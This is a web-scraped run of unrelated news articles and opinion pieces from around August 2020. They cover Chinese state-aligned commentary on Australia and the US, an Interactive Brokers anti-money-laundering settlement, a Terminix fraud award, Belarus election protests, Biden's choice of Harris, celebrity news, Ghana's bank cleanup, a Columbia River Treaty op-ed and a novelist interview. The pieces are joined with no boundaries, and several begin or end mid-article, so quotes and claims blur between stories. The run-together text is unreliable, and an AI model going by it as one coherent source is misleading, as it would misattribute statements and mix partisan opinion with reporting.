friendship afloat" is a test to Australias political wisdom. In the past, Australia did not lack such reasonable and valuable wisdom, but now it has lost that wisdom. Bob Hawke, Australias former prime minister, who brought Australia into sustained economic prosperity, once warned that it is the responsibility of every member country to maintain the peace and development dividends of the "big family of the Asia-Pacific". The fact is also that both China and Australia are the beneficiaries of globalization and regional integration. The two countries have very similar views on such issues as economic liberalization and trade facilitation, and both are the supporters and promoters of economic globalization and regional integration. Every country in the Asia-Pacific region is supposed to exceptionally cherish the hard-won peace, stability and economic prosperity in the region. Whether it is out of its own interests or the common interests of the region, Australia should no longer instigate any conflict or even war. (The author is a chief research fellow at the Research Center for Pacific island countries of Liaocheng University in East China's Shandong Province. All the contents in the article represent the author's opinions and dont necessarily reflect the views of eng.chinamil.com.cn) GREENWICH Interactive Brokers Group, one of the countrys largest electronic broker-dealers, will pay a total of $38 million in penalties to three federal agencies to settle charges that it did not report suspicious trading activity and failed in its anti-money-laundering oversight for several years, regulators announced Monday. The agreements comprise a penalty of $15 million that the Greenwich-based Interactive Brokers will pay to the Financial Industry Regulatory Authority and payments of $11.5 million each to the Securities and Exchange Commission and Commodity Futures Trading Commission to resolve the charges. Todays action is a reminder that member firms must tailor their (anti-money-laundering) programs to the firms business model and customer base, and also dedicate resources to programs commensurate with their growth and business lines, Jessica Hopper, FINRAs executive vice president and head of enforcement, said in a statement. FINRA will continue to take steps to ensure that firms comply with their obligation to monitor for, detect and report suspicious activity. Company officials had announced in April that they were cooperating with investigations by the SEC, FINRA and CFTC and that it could settle those probes. They reiterated Monday their cooperation with those agencies. Interactive Brokers continuously works to enhance and strengthen our controls and makes significant investments to improve our Bank Secrecy Act and anti-money laundering programs, said Kalen Holliday, the firms director of communications. We are committed to ensuring that our programs meet all regulatory expectations, and our compliance staff have state-of-the-art systems at their disposal. From January 2013 through September 2018, Interactive Brokers grew into one of the largest electronic broker-dealers in the U.S. based on shares traded, and it cleared transactions for more foreign financial institutions than any other broker-dealer in the country, FINRA officials said. But they said that as Interactive Brokers expanded, it did not allocate the resources needed to meet its anti-money-laundering obligations. The company did not reasonably surveil hundreds of millions of dollars of its customers wire transfers for money-laundering concerns, FINRA said. Those wires included millions of dollars of third-party deposits into customers accounts from countries recognized as high risk by U.S. and international anti-money-laundering agencies, according to FINRA. In addition, Interactive Brokers did not reasonably investigate suspicious activity when it discovered it because it lacked sufficient personnel and an appropriate case-management system, according to FINRA. Despite a compliance manager at the firm warning his supervisor that we are chronically understaffed and struggling to review reports in a timely manner, Interactive Brokers took years to significantly increase its staffing or bolster its systems to combat money laundering, FINRA said. The SEC determined that during a one-year period Interactive Brokers failed to file more than 150 Suspicious Activity Reports to flag potential manipulation of microcap securities in its customers accounts. SAR filings are an essential tool in assisting regulators and law enforcement to detect potential violations of the securities laws, particularly in the microcap space, Marc Berger, director of the SECs New York regional office, said in a statement. Todays multi-agency settlement reflects the seriousness we place on broker-dealers complying with their SAR reporting obligations and maintaining appropriate anti-money laundering controls. For the CFTC, the case marked the first time it had charged a violation of Regulation 42.2, which requires registrants to comply with the Bank Secrecy Act. Alongside the penalty of $11.5 million, the CFTC also mandated that Interactive Brokers disgorge $706,214 earned, in part from its role as the futures commission merchant carrying the accounts of Haena Park and her companies, which faced CFTC enforcement in 2018. In that case, a federal court ordered Park and her companies to pay more than $23 million in penalties and restitution for what they determined to be fraud and misappropriating investor funds. As Parks FCM, Interactive Brokers failed to properly monitor her account activity, the CFTC said. CFTC officials are also requiring Interactive Brokers to comply with other actions, including the hiring of a third-party compliance consultant to review and report on the anti-money laundering and supervisory issues raised in its order. pschott@stamfordadvocate.com; twitter: @paulschott Niemet also is listed by the Indiana secretary of state's office as the principal owner of the Golden Corral at 915 Eagle Ridge Drive in Schererville incorporated under the banner of GC Hospitality of Schererville LLC at the same address as the Merrillville Golden Corral. Niemet was identified as the owner of the Schererville Golden Corral in a news release when it reopened after a four-year hiatus as a "next-generation" buffet after a major renovation in 2019. Both the Merrillville and Schererville Golden Corral restaurants have been closed for months. A voicemail message at the Merrillville location said it was making preparations to reopen, but the 10,414-square-foot restaurant that was built in 2006 was recently listed for sale on the commercial real estate website LoopNet. That listing is no longer active, however. Calls to the Schererville location go to a voicemail box that is full. Niemet also owns Golden Corral restaurants in Quincy, Missouri, and Columbia, Missouri, according to the Missouri secretary of state's office. He owned at least seven Golden Corral restaurants in Indiana, Illinois and Missouri, Thompson said. Leaves Door Open for Similar Results for Other Alabama Homeowners MOBILE, AL / ACCESSWIRE / August 10, 2020 / The American Arbitration Association just delivered the latest arbitral award from an Alabama fraud trial against Terminix held in Daphne in June. Unfortunately for Terminix, but great for Alabama homeowners, the $3,800,000.00+ price tag includes $2 million in punitive damages to punish the company, and aspects of this case promise even more trouble in Alabama heading toward the pest control giant. The case, tried by Campbell Law PC, proved that Terminix had NEVER treated properties with the liquid barrier that were part of their "Dual Defend" or "Dual Barrier" contracts. NEVER - even after state regulators ordered Terminix to do so. Also, Terminix's entomology expert admitted that the half of the treatment that Terminix did provide (a baiting system) was a less effective means of termite protection. The ruling has far-reaching implications: Because this was found to be a systemic and repeated fraud by Terminix, the company cannot re-litigate this fact in future cases, making future trials easier. Fraud nullifies any contractual limitations on tort remedies, so thousands of Alabama homeowners who have termite damage Terminix's Dual control contracts can recover for their own property damage, mental anguish, consequential damages and punitive damages with fraud already established. Large punitive damage awards are not taken lightly by judges and arbitrators in AL. In this case, the arbitrator said such a penalty was "necessary based upon the significant evidence presented at the hearing showing a systematic and repeated pattern by Terminix of failing to comply with its contractual and regulatory duties." Campbell, nicknamed "Termite Tom" after decades of litigating against Terminix, explained that the decision by Terminix's general counsel and execs to "thumb their noses at state regulators sealed its fate." Story continues Campbell Law PC maintains offices in Mobile and Birmingham, Alabama, and routinely represents homeowners and businesses that have termite damage because their termite companies failed to provide the termite prevention and inspection services correctly. They work to help nationwide. https://youtu.be/EruVF8goYI8 Tom Campbell and Chris Cochran are also available for in-person or remote interviews: 205-278-6650. Related Video SOURCE: Campbell Law PC View source version on accesswire.com: https://www.accesswire.com/600991/Terminix-Hit-With-2-Million-Punitive-Damages-in-Alabama-Trial By Andrei Makhovsky MINSK (Reuters) - Belarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children after strongman leader Alexander Lukashenko's claim of victory in Sunday's presidential election prompted bloody street protests. Tikhanouskaya, a 37-year-old former English teacher who took her husband's place on the ballot after he was jailed, fled to neighbouring Lithuania. She urged her compatriots not to oppose the police and to avoid putting their lives in danger. But unrest erupted for a third night in a row on Tuesday as security forces fired rubber bullets and stun grenades to disperse thousands of protesters who took to the streets accusing Lukashenko, in power since 1994, of swindling the vote. A Reuters witness saw security forces detaining dozens of people and beating protesters in the street. Another saw security forces smashing car windows and dragging some people out of vehicles to attack them. A third saw at least two news photographers being attacked and their cameras damaged. Car horns blared in solidarity with the opposition, and people marched, clapped and shouted "go away". The European Union earlier accused Lukashenko's government of "disproportionate and unacceptable violence" and said it was reviewing its relations with Minsk. Although Tikhanouskaya's husband Syarhei, an anti-government blogger, remains in jail in Belarus, she was reunited with her children in Lithuania. She had moved them earlier after receiving anonymous threats about their safety. "You know, I thought that this whole campaign had really toughened me up and given me so much strength that I could handle anything," she said in an emotional video. "But, probably, I'm still the weak woman I was in the first place. I have made a very difficult decision for myself," she said, adding that the political tumult in Belarus was not worth anyone losing their life for. Story continues "Children are the main thing in life," said Tikhanouskaya. FLOWERS The mood on the streets of Minsk had been calmer during the daytime on Tuesday, but a Reuters reporter saw riot police parked outside several factories in Minsk amid calls on anti-Lukashenko social media channels for a general strike. People laid flowers at the site in central Minsk where a protester died in Monday's clashes. Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. State media on Tuesday showed detained young men with their hands behind their backs, calling them "Russian provocateurs". Belarus has strained relations with Moscow, though President Vladimir Putin used a congratulatory telegram to nudge Lukashenko to accept closer ties. Lukashenko has long accused Russia of aiming to swallow up his nation of 9.5 million people. Lithuanian Foreign Minister Linas Linkevicius said Tikhanouskaya had found herself in an impossible situation. "She apparently faced certain pressure and did not have much choice but to leave the country," he told a news conference. Belarusian authorities said she was not forced to leave but a separate video appearance, apparently filmed at the central election commission before she left Belarus, raised questions about her departure. In it, she was seen reading from a piece of paper in stilted official language and reversed her earlier stance and asked supporters to accept the election's outcome and stop protesting in order to prevent bloodshed. It was unclear if the video had been made under duress or as part of a deal allowing her to leave the country. U.S. Secretary of State Mike Pompeo said Belarus's election was "not free and fair" and condemned "ongoing violence against protesters and the detention of opposition supporters". The European Union said its relationship with Belarus was under review, though it declined to comment on whether sanctions would be reimposed on the country. Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this month's vote saw authorities jail Lukashenko's rivals and open criminal investigations of others who voiced opposition. Tikhanouskaya's campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. (Additional reporting by Alexander Marrow in Moscow and Andrius Sytas; writing by Matthias Williams/Andrew Osborn; editing by Gareth Jones, Grant McCool and Richard Pullin) ABC NewsBY: ALISA WIERSEMA (WILMINGTON, Delaware) -- Former Vice President Joe Biden named his former campaign trail rival, Sen. Kamala Harris, D-Calif., as his running mate. Biden announced the decision in an email to supporters. "I know a thing or two about being Vice President. More than anything, I know it cant be a political decision. It has to be a governing decision. If the people of this nation entrust me and Kamala with the office of President and Vice President for the next four years, were going to inherit a nation in crisis, a nation divided, and a world in disarray. We wont have a minute to waste. Thats what led me to Kamala Harris," Biden said in the email. He also harkened back to the first time he met Harris through his late son, Beau. "They were both Attorneys General at the same time. He had enormous respect for her and her work. I thought a lot about that as I made this decision. There is no ones opinion I valued more than Beaus and Im proud to have Kamala standing with me on this campaign," he said. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate. Joe Biden (@JoeBiden) August 11, 2020 Soon after the announcement, the Biden campaign announced the pair would deliver remarks in Wilmington, Delaware, on Wednesday. As the vice presidential search wore on against the backdrop of racial tensions and social change, Biden was frequently questioned about whether he would choose a woman of color as his running mate. By choosing Harris, who is Black and Indian American, Democrats are sending a powerful and historic statement ahead of the November election as the nation continues to grapple with social change. If elected, Harris would not only be the first woman to serve as vice president, but would also be the first person of color to be second in command and the highest-elected Asian American in history. The junior senator from California has already achieved a number of historic milestones as the second African American woman and first South Asian American senator in history. She was also the first African American and first woman to serve as California's attorney general. Her friendship with a fellow attorney general, the late-Beau Biden, remains a bond between Harris and the Bidens. Reaction from the political world Responses the announcement were swift. Jill Biden tweeted at Harris' husband, Doug Emhoff, who has the potential to become the first second husband in American history. "Are you ready?" she tweeted, to which he responded, "Ready to work!" Susan Rice, former national security adviser to Obama who was also near the top of Biden's shortlist for vice president, was quick to issue a statement congratulating Harris. "Senator Harris is a tenacious and trailblazing leader who will make a great partner on the campaign trail," she said. "I look forward to supporting the Biden-Harris ticket with all my energy and commitment." Obama called it "a good day for our country" in a tweet about the announcement. "Ive known Senator @KamalaHarris for a long time," he wrote. "She is more than prepared for the job. She's spent her career defending our Constitution and fighting for folks who need a fair shake." Ive known Senator @KamalaHarris for a long time. She is more than prepared for the job. Shes spent her career defending our Constitution and fighting for folks who need a fair shake. This is a good day for our country. Now lets go win this thing. pic.twitter.com/duJhFhWp6g Barack Obama (@BarackObama) August 11, 2020 House Speaker Nancy Pelosi, in a statement, called the choice of Harris a "historic and proud milestone for our country." Both former president Bill Clinton and Democratic nominee for president in 2016 Hillary Clinton tweeted at Biden and Harris welcoming the decision. Hillary Clinton said Harris has "already proven to be an incredible public servant and leader," an argument the now Biden-Harris campaign is already touting. I'm thrilled to welcome @KamalaHarris to a historic Democratic ticket. She's already proven herself to be an incredible public servant and leader. And I know shell be a strong partner to @JoeBiden. Please join me in having her back and getting her elected. pic.twitter.com/cmtOO8Gqqv Hillary Clinton (@HillaryClinton) August 11, 2020 Michigan Gov. Gretchen Whitmer -- who recently met with Biden, a source confirmed to ABC News -- used "#WeHaveHerBack" in her tweet congratulating Harris. Florida Rep. Val Demings, another member of Congress who made Biden's shortlist, expressed gratitude for being considered and excitement to help the presumptive Democratic ticket win in November. "For a little girl who grew up poor, Black and female in the South to be considered during this process has been an incredible honor. I feel so blessed. To see a Black woman nominated for the first time reaffirms my faith that in America, there is a place for every person to succeed no matter who they are or where they come from," Demings said in a statement. Sen. Bernie Sanders, the last to suspend his 2020 presidential campaign amid the coronavirus pandemic, offered his congratulations in a tweet. "Congratulations to @KamalaHarris, who will make history as our next Vice President," the senator from Vermont wrote. "She understands what it takes to stand up for working people, fight for health care for all, and take down the most corrupt administration in history. Lets get to work and win." Congratulations to @KamalaHarris, who will make history as our next Vice President. She understands what it takes to stand up for working people, fight for health care for all, and take down the most corrupt administration in history. Lets get to work and win. Bernie Sanders (@BernieSanders) August 11, 2020 Another former presidential candidate who was also on the vice presidential shortlist, Sen. Elizabeth Warren, D-Mass., added in her congratulatory tweet that she is "so looking forward to seeing Kamala take on Pence on the debate stage. President Donald Trump tweeted out a video slamming Harris in response to the news. Later, during a press conference at the White House, Trump was asked about Harris. I was a little surprised at the pick. A lot of people would say that might be the pick," the president said. "Well see how she works out," Trump added. "She did very, very poorly in the primaries, as you know. She was expected to do well, and she was -- she ended up at right around 2%. And spent a lot of money." He went on to say he wouldn't forget how "nasty" she was to Brett Kavanaugh during his Supreme Court nomination -- and suggested Biden should feel disrespected by Harris too. "It is hard to pick somebody that is disrespectful. She said things during the debate, during the Democratic primary debates, that were horrible about Sleepy Joe. And I would think that he would not have picked her," Trump said. Background In the Senate, Harris serves on the Homeland Security and Governmental Affairs Committee, the Select Committee on Intelligence, the Committee on the Judiciary and the Committee on the Budget. Her tough questioning of Supreme Court Justice Brett Kavanaugh was one of the instances that increased Harris popularity among Democrats on a national level. In recent months, Harris advocated for legislative policies aiming to alleviate the aftershocks millions of Americans felt in the wake of the novel coronavirus. She also drew on her experiences as a woman of color to call for change in the aftermath of George Floyds death. Recently, Harris, along with her colleague and former presidential campaign trail rival, Sen. Cory Booker, gave emotional arguments in favor of making lynching a federal crime. The pair, along with other high-profile Democrats, also introduced legislation to make Juneteenth a national holiday. During the Democratic primary campaign, Harris -- the sole Black woman in the running -- was amplified as a top contender following a debate performance in which she took Biden to task over his past stances on busing policies. "There was a little girl in California who was part of the second class to integrate her public schools and she was bused to school every day. That little girl was me," Harris said at the time. Following the debate, Biden complimented Harris. "She is a first-rate intellect, a first-rate candidate and a real competitor," he told reporters at an event in Iowa last year. "I have mixed emotions about it because she is really a solid, solid person and loaded with talent. Im sure shes not dropping out on wanting to make the changes she cares about. Harris suspended her presidential campaign in early December, and endorsed Biden after his Super Tuesday sweep. She served as a top surrogate for the Biden campaign amid the pandemic landscape and was one of his top fundraisers. With traditional campaign events severely limited due to safety concerns, Harris participated in a variety of virtual events to back Biden, including roundtable discussions, state-specific appearances and even a virtual concert fundraiser featuring high-profile DJs. Harris entry to the presidential campaign is likely to see criticism from some social activists who do not feel that she could serve as an agent of change for policing reform given her past record as a prosecutor, a notion Harris adamantly pushes back against. "This is simply wrong, it's just absolutely wrong. When I was attorney general of California, I instituted one of the first requirements that law enforcement officers receive training on racial implied bias and procedural justice," Harris said during a cable news interview in June. "I'm the first that created a whole division and approach, that actually became a national model," she added. Copyright 2020, ABC Audio. All rights reserved. Avengers actor Chris Pratt and children's book author Katherine Schwarzenegger welcomed their first baby earlier this week. The duo shared that they are "beyond thrilled" and "extremely blessed" as they became parents to their first child. On Monday, they announced the birth of their daughter, whom they have named Lyla Maria Schwarzenegger Pratt. Chris and Katherine took to their Instagram accounts and shared the news with their fans. The pictures show hands of both parents and baby Lyla and a pair of Bible verses; including Psalms 126:3 "The Lord has done great things for us, and we are filled with joy." The post also read Psalm 127:3-4, "Behold, children are a heritage from the Lord, the fruit of the womb a reward. Like arrows in the hand of a warrior are the children of one's youth. Blessed is the man who fills his quiver with them! He shall not be put to shame when he speaks with his enemies in the gate." The statement also shared, "We couldn't be happier. Both mom and baby are doing great. We are extremely blessed. Love Katherine and Chris." Chris Pratt and Katherine Schwarzenegger got married in June last year in an intimate ceremony. Chris, who was earlier married to Anna Faris, also has a has an eight-year-old son Jack. On the work front, Chris Pratt, who is popularly known for his roles in films like Avengers, Guardians of the Galaxy and Jurassic World series, will soon resume shooting for Jurrasic World's new instalment in the UK. Earlier this year, the actor had already begun shooting for Jurassic World: Dominion, but it was halted due to the pandemic. However, the studio has denied a delay in the release, which was set for 2021. Joe Jonas And Sophie Turner Welcome Baby Girl Willa Jonas No Time To Die: Ben Affleck Not Allowed To Walk The Red Carpet With Bond Girl Ana De Armas The Minority in Parliament is demanding an audit of payments made to depositors whose funds were locked up in the financial sector crisis. After the government said 96 percent of depositors funds have been paid, the Minority said there had been a great breach of the law and due process must follow the payments. Speaking to the press in Parliament on August 10, 2020, the Minority Leader, Haruna Iddrisu, said his side in Parliament wanted greater transparency and accountability from government. He noted that the Banks and Specialised Deposits Taking Institutions Act 930 section 130 mandates an inventory report from the receiver one month of taking possession of a bank or specialised deposit-taking institution. Mr. Iddrisu also argued that the Bank of Ghana is supposed to publish the inventory report in two daily newspapers of national circulation and on the website of the Bank. We are asking, where is the inventory report on the collapsed banks and on the microfinance and savings institutions? Was it remitted to the Bank of Ghana? If yes, where is it? He stressed that it was imperative the government respect the letter and spirit of the law in question. In response to the concerns of the Minority, a Member of the Finance Committee, Anthony Effah says the demand for an audit in the midst of the process is unwarranted He noted that the Securities and Exchanges Commission says the process for liquidating these companies has to go through the court. There is a procedure that has to be followed before these companies are wind up. They are still validating some of the claims and the SEC is on top of this. Mr. Effah added that he was confident that the Auditor-General will definitely audit every sing monies released by the Minister of Finance to any public institutions. The government commenced a financial sector cleanup in August 2017 which led to the collapse of nine universal banks, 347 microfinance companies, 39 microcredit companies or money lenders, 15 savings and loans companies, eight finance house companies, and two non-bank financial institutions. The Securities and Exchange Commission announced the revocation of licenses of 53 Fund Management Companies. The estimated cost of the state's fiscal intervention, excluding interest payments to depositors, from 2017 to 2019 was pegged at GHS16.4 billion. --citinewsroom US officials' attempt to drive a wedge between Party, Chinese people set to fail Some officials in the United States have been ganging up on the Communist Party of China, but they are turning a blind eye to the fact that the CPC leadership has enabled China to grow into the world's second-largest economy without resorting to warfare, colonialism or slavery. They also ignore the broad support that the CPC has earned from the Chinese people due to its people-centered governance philosophy, which is in stark contrast with that of political parties of the US putting selfish political gain and capital first, analysts said. Wu Bo, a researcher of socialism with Chinese characteristics at the Chinese Academy of Social Sciences, said that the CPC considers people's interests all it works for, and the CPC's all-out efforts to protect people's lives and health in fighting COVID-19 have been one of the testimonies of this. Intensive slandering of the CPC by some US officials is based on an outdated Cold War mentality and deep-seated ideological bias, Wu said, and they have prejudices against the path of socialism with Chinese characteristics and turn a blind eye to the broad support of the Chinese people for the CPC while ignoring their severe problems at home. Over recent decades, the CPC has led the nation to create economic miracles and long-term social stability. By upholding the vision of a community with a shared future for mankind, it shows it wants to work with the international community, including the US, to build an open, inclusive, clean and beautiful world with lasting peace, universal security and common prosperity. Raed Fahmi, secretary of the Central Committee of the Iraqi Communist Party, said that the CPC and the Chinese people have every right to be proud of their great achievements in all aspects during the country's development. "The pillars of China's foreign policy are consistent with the Charter of the United Nations, and provide a sound, solid and stable basis for building a new type of relations between countries that guarantees international peace and security," Fahmi told Xinhua News Agency. These pillars have been clearly demonstrated "in initiatives and calls for international cooperation and peaceful coexistence between countries with different political, economic and social systems", Fahmi added. Since May, the US administration has set forth a systematic set of speeches and documents to attack China, specifically aiming at the CPC. They started with a policy document, "United States' Strategic Approach to the People's Republic of China", released by the White House on May 26. The document is extraordinary as few previous administrations actually put in print similar comprehensive statements of policy that view the CPC as subversive of US values, laws and institutions, as well as the international system. The document was followed by speeches made by influential US officials, including National Security Adviser Robert O'Brien on June 24, FBI Director Christopher Wray on July 7, Attorney General William Barr on July 16 and Secretary of State Mike Pompeo on July 23. A number of the officials' accusations have been contradicted, however, by a survey by the Ash Center for Democratic Governance and Innovation of Harvard University's John F. Kennedy School of Government. The center recently said that the Chinese people's overall support for and satisfaction with the central government exceeded 93 percent. As China deployed effective measures against the coronavirus, public trust in the government rose to 95 percent, with citizens' responses to a survey putting the country at the top of the 11 countries covered. The survey was conducted by US-based Edelman Intelligence in April. The results moved China up 5 points from Edelman's annual Trust Barometer survey in January, which also ranked the country at the top. The US finished next to last with 48 percent. China's Foreign Ministry has said that US officials' attempt to drive a wedge between the Chinese people and to create a united front to curb China will not succeed. State Councilor and Foreign Minister Wang Yi recently told Xinhua that the relationship between the CPC and the Chinese people is as close as between "fish and water "and between "soil and seed". "Those who attempt to break this strong bond are making themselves enemies of the 1.4 billion Chinese people," he said. "We hope that the US will respect China's social system and the Chinese people's choice and give up its failed interventionism." Own development path China has made it clear that it does not replicate any model from other countries, nor does it export its own to others. It insists that success of its development path is not a blow and a threat to the Western system and path as differences in systems should not lead to a zero-sum game, but should coexist peacefully. President Xi Jinping, who is also general secretary of the CPC Central Committee, has said on various occasions that the Party's fundamental missions are to seek well-being for the people and realize the great rejuvenation of the Chinese nation. China unswervingly sticks to the path of peaceful development, Xi said, and it has been and will be a champion of world peace, contributor of global development and supporter of international order. The CPC has not only sought to serve the Chinese people, but also has made contributions to the development of the world through the Belt and Road Initiative, said Salah Adly, general secretary of the Egyptian Communist Party. Way out of poverty Under the leadership of the CPC, China's path of socialism with Chinese characteristics has been the way out of poverty and backwardness for the 1.4 billion Chinese people, and it has enabled the Chinese nation to make important contributions to the progress of mankind. China is the largest contributor of peacekeepers among the five permanent members of the United Nations Security Council and has been contributing to the peaceful settlement of the Korean Peninsula nuclear issue, the Iranian nuclear issue and other regional and international hot spots, as well as the response to climate change and other global challenges. In recent years, it has contributed over 30 percent of the world's economic growth, and was an important player in the international response to the financial crisis in Asia and the global financial crisis. All these facts have been witnessed by the world. Before the 99th anniversary of the founding of the CPC on July 1, more than 100 foreign political parties sent their congratulations to Xi and the CPC Central Committee, lauding its glorious history and China's great achievements. The European Left party said in its congratulatory message that the CPC has long secured peace and development and upheld people-centered principles. The Communist Party of France said that China is now, under the leadership of the CPC, striving to achieve high-quality growth, build a moderately prosperous society in all respects and realize the aspiration of the people to live a better life. Since employees must still pay those taxes next year, this order is really an offer of a zero-interest loan rather than an actual reduction in tax liability, said Michael Feroli, economist at J.P. Morgan. It remains quite unclear whether employers will actually change withholding schedules, particularly if it could lead to financial uncertainties in 2021. Because questions about the constitutionality of the policy persist, businesses are likely to hold off any decisions at least until the government provides additional guidance. On Monday, several large corporations declined to say what they would do, because they wanted the Trump administration to provide more details first. Were awaiting guidance from the U.S. Treasury Department on the payroll tax deferral, and well make decisions on implementation once thats been provided, said Randy Hargrove, a spokesman for Walmart, the countrys largest private employer, with 1.5 million workers. One option some employers might consider is to withhold the tax and repay workers later if it is eventually forgiven. But that would defeat the purpose of stimulating the economy now, when it could use the help. If businesses are reluctant to reduce withholding because they may be liable to pay the tax later, they might escrow the withheld amounts rather than pay the Treasury, and assure their employees that if the payroll tax liability is eventually forgiven by an act of Congress, the business would cut the appropriate check to their employees, said Itai Grinberg, an international tax policy professor at Georgetown University Law Center. However, Mr. Grinberg added that such a maneuver could incur other penalties depending on how Treasury guidance is written. Payroll experts said many businesses would be hesitant to do anything until they had assurances from Congress that they and their employees wouldnt have to make good on the deferred taxes next year. Its a little bit of a risk that Congress may not act, and if youre deferring a significant amount of taxes the reality is, a few months later, youre going to have to come up with that cash and pay those taxes, said Pete Isberg, vice president of government relations for ADP, a payroll specialist that serves more than 800,000 businesses. Sooraj Wants The Gossip Mongers To Be Held Accountable A source close to the actor had informed Bombay Times that the actor wants the gossip mongers to be held accountable. The source said, "Sooraj has been harassed since Sushant and Disha's deaths, owing to fake news that was carried by sections of media, social media and YouTube. He has filed complaint against certain media houses, Youtubers and certain people who have been spreading fake news and conspiracy theories on Facebook.He wants the rumour mongers to be accountable for the mental harassment caused to him, and also, they must prove the baseless charges levelled against him." Sooraj Refuted Rumours In An IG Post Last week, while refuting media reports, Sooraj wrote on Instagram, "Complete bullshit!! #F**kYouFakeMEDIA Is this the media we are supposed to trust?? " He went on to share that the girl in the picture was not Disha but a friend of his named Anushri Gaur. "Please stop brainwashing people and PLEASE stop harassing me and dragging me into this ! Start being responsible of your actions as it can ruin someone's life! I have said this before and I'm saying it again I have never met or spoken to Disha Salian in my life. I've had enough'." he added. Sushant Passed Away On June 14, 2020 For the unversed, Disha Salian reportedly jumped off her apartment in Malad on June 8, and was declared dead before arriving at the hospital. On the other hand, Sushant Singh Rajput was found dead at his Bandra residence in Mumbai on June 14. Investigation in both the cases is underway. President Donald J. Trump does not hesitate to dismantle the status quo when Americans' best interests are not put first. He campaigned on a platform to "Drain the Swamp" and one aspect of that mantra is to step away from the bad deals of past presidents. The president has changed course on a number of issues, with the most prominent being his tax cuts and a promise to draw down troops in America's longest war Afghanistan. When President Trump replaced the outdated North American Free Trade Agreement (NAFTA) with the modernized United StatesMexico-Canada Agreement (USMCA), he ensured that Americans receive a fair deal. The original NAFTA deal was unbalanced and led to the loss of American jobs and lower wages for American workers. T hese two problems were cured with a new deal that garnered the support of Congress. There is another agreement with Canada that is fundamentally unfair to Americans that we must stop hesitating to renegotiate: the Columbia River Treaty. This deal made sense at the time but has outlived its usefulness. The treaty suffers the same core problem of NAFTA it's unbalanced toward Canada, and American consumers of energy suffer as a result. According to the Department of State, the Columbia River's drainage basin is roughly the size of Texas. It includes parts of Washington, Oregon, Idaho, Montana, Utah, Wyoming, and British Columbia. The treaty deals with a hydroelectric plant that benefits millions on both sides of the border by managing flood risk, supporting irrigation, municipal water use, industrial use, navigation, and recreation. In 1961, when the treaty was adopted, Canada agreed to build three dams to regulate water flows to reduce flooding in the Pacific Northwest and increase the amount of usable electricity generated in the United States. In return, the United States agreed to pay Canada and supply the country with electric power every year. The agreement costs the United States between $150 and $350 million (USD) yearly, depending on the price of electricity. By 2002, the money given by the United States to Canada each year fully paid for the construction of the dams. Twenty twenty-four will be an essential year for the Columbia River Treaty. Provisions in the treaty that obligate Canada to reduce flood risks in the United States will expire. Under the terms, the United States must give ten years' notice before terminating yearly payments to Canada. Because of this condition, if the Department of State chose to renegotiate the treaty this year, the United States would still be obligated to pay millions to Canada each year until 2030. Each year we delay in renegotiating the deal costs Northwest ratepayers millions of dollars a year. The Department of State has been slow-walking a renegotiation for years, and Americans in the Northwest want action. The longer the United States waits to act, the higher the likelihood that future negotiations will be tilted left to favor environmental concerns as opposed to economic concerns. President Trump made history when he dismantled NAFTA. He should continue dismantling bad deals by terminating the unfair Columbia River Treaty. American consumers should not be on the hook to subsidize Canadian energy consumption and to pay for a dam that was paid off years ago. Abandoning this treaty would do much for the president's prospects in the western United States, because they feel as if they have been ignored and abandoned by faraway Washington, D.C. If the president uses his rights under the treaty to step away, this will set the stage for a better deal in the future that puts America first. Stephanie Farmer is a former staffer for the Rand Paul 2016 presidential campaign. In Traitor, YA historical fiction writer Amanda McCrina illuminates a facet of World War II history that few U.S. readers are likely to be familiar with. The novels setting is Galicia, a region claimed by Poland and the Ukraine and occupied multiple times by German and Russian forces during the war. McCrina weaves together the stories of orphaned Tolya, first seen serving as a sharpshooter in the Soviet army, and Aleksey, leader of a Ukrainian paramilitary squad. McCrina spoke with PW about the ever-shifting meaning of her novels title, the hopeful spots she discovered during her research into a super dark, super bleak snippet of history, and how her role as a bookseller feeds into her work as a novelist. The title Traitor sets up the expectation that a single traitor or even several traitors will eventually be identified in the course of the narrative. It quickly becomes clear that such a simple resolution isnt forthcoming. Can you talk about the themes of loyalty and betrayal that spiral throughout the novel? As a writer, I tend to be attracted to characters who have both internal and external conflict going on. And for me, the easiest way to do that is to write a character who represents two different sides or two conflicting identities. So Tolya, my main character, is representative of the whole conflict in the novel [because he is] both Polish and Ukrainian. Hes a microcosm of this conflict that runs throughout the novel. So his identity crisis is the same identity crisis [that runs] through the book. There isnt one single traitor in the novel. There [are] multiple people who could be considered traitors. Theres the whole question of what it means to be a traitor. Tolya goes through this conflict in himself, [wondering] whether he betrayed his parents by joining the Red Army. So not only are there multiple different candidates for traitors, there are multiple conflicts about what you should be loyal to or what loyalty looks like or what it means. I wanted it to be an ambiguous title and hopefully that came across. There are so many twists and turns in Tolya and Alekseys stories. How did you keep track of all of them during the writing and planning process? Its actually easier than you might think, because I wrote two separate novels and then spliced them together. When I originally was drafting, [it was only from] Tolyas point of view. It was only after several drafts that I started to realize, I may need to bring another narrator in here just to give further background information and to clarify a few things. So essentially, I wrote Tolyas story and then I went back and wrote Alekseys story. I wrote one linear narrative, I wrote a separate linear narrative, and then I went back and kind of manipulated them. So, for me [keeping track of both storylines] wasnt as difficult as it might be for the reader. In addition to being a writer, you also currently work as a bookseller. Can you talk about how these two roles feed into each other? I work at a very small independent bookstore called Bound [Booksellers], which is in Franklin, Tennessee. I really love being a bookseller because Im able to kind of keep a finger on what the trends are, what readers want. I think thats important to me: knowing what young peopleespecially in my communitywant to read, what kind of things are they looking for? Im not saying that I want to write just to current trends, obviously, but I think it is helpful to know what resonates with people. And I think being a bookseller has definitely helped me with that. What do you want readers to walk away with from Traitor? Are there ways that you feel this historical novel resonates today? One of the most basic things is [that] I want readers to walk away realizing there [are] still so many corners of World War II that havent been explored yet, even though theres so much World War II fiction out there. I think there [are] still corners, especially on the Eastern Front or [in the] Pacific theater, [in] other areas of the world that havent been talked about as muchtheres still a lot to be explored. More thematically, I hope [people] take empathy away from this reading experience. I hope they realize we dont always know why people do what they do. We cant assume that we understand where someones coming from. And I hope Traitor helps people [become] able to look at an issue from multiple sides, [to] see different perspectives. I definitely think Traitor will resonate in this current climate were in, not just on the surface political level, but [because] theres always a need for stories about people trying to do the right thing, even when their circumstances are horrendous. [As] I was researching Traitor, I realized even though this history is super dark, 